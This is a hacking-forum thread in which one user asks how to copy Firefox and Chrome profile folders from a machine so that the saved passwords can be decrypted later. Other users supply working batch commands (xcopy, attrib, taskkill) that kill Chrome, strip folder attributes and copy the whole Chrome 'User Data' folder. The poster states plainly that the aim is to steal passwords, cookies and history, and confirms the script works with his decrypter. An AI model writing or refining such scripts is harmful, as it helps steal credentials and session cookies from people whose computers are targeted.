Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

Need help with code

so i am putting together a program to get passwords from firefox and chrome. what the code does is copies the firefox and chromes profiles to decrypt when you get home. i can copy the firefox profile but i need help with the chrome one. what ever i try it doesnt work

xcopy C:\Users\%username%\AppData\Roaming\Mozilla\Firefox %~dp0 /e

xcopy C:\Users\%username%\Appdata\Local\Google\Chrome\User Data\Default %~dp0 /e

theoretically it should work but its not, anyone got any ideas ??
The space in "User Data"? Maybe put the path in quotes?
nah no good doesnt work, its so weird
So you've tried this?

Code
xcopy "C:\Users\%username%\AppData\Roaming\Mozilla\Firefox" "%~dp0" /e

xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\User Data\Default" "%~dp0" /e
yeah the firefox works just not the chrome
also tried

xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\UserData\Default" "%~dp0" /e
xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\"UserData"\Default" "%~dp0" /e
xcopy "C:\Users\%username%\Appdata\Local\Google\Chrome\UserData" "%~dp0" /e
ect.
it either copies bits of the profile or none at all
This code works for me.

Code
@xcopy "%userprofile%\AppData\Local\Google\Chrome\User Data" "%~dp0User Data" /I /E /Y

If you have problems try running it as administrator 🤝
im not getting everything tho just tmp files
i have windows 7 ultimate 64 bit if that matters
I see what's the problem here these folder are read only and xcopy doesent work well with read only attributes so what do we have to do?
We have to change them :P (Sadly we cannot change them when chrome is working because he is returning them back so either close your chome or write taskkill /f /im chrome.exe )

Any who this is the code.

Code
@ECHO OFF
taskkill /f /im chrome.exe
attrib -r -s -h /S /D "%userprofile%\AppData\Local\Google\Chrome\User Data"
xcopy "%userprofile%\AppData\Local\Google\Chrome\User Data\*.*" "%~dp0User Data" /I /E /Y
of course i didnt think of that not working if chrome was running, im such an idiot.

thankyou my good sir, you are a genius. now i can steal everything like passwords, cookies, history ect. and the decrypter im using for the passwords works great with the copied file. :D

VIRTUAL HIGHFIVE
(Aug 5, 2014 08:26 AM)nathandohnt Wrote:  of course i didnt think of that not working if chrome was running, im such an idiot.

thankyou my good sir, you are a genius. now i can steal everything like passwords, cookies, history ect. and the decrypter im using for the passwords works great with the copied file. :D

VIRTUAL HIGHFIVE

You have to buy me a beer now :DDDDD
Haha I sure do mate cheers again for the help
Good job helping this guy Exabyte, great insight you have. :>
I hope the other regulars decide to +rep you for this too.
(Aug 6, 2014 06:25 AM)annikk.exe Wrote:  Good job helping this guy Exabyte, great insight you have. :>
I hope the other regulars decide to +rep you for this too.
Thanks i really look forward helping people if its in my knowledge span :D 👍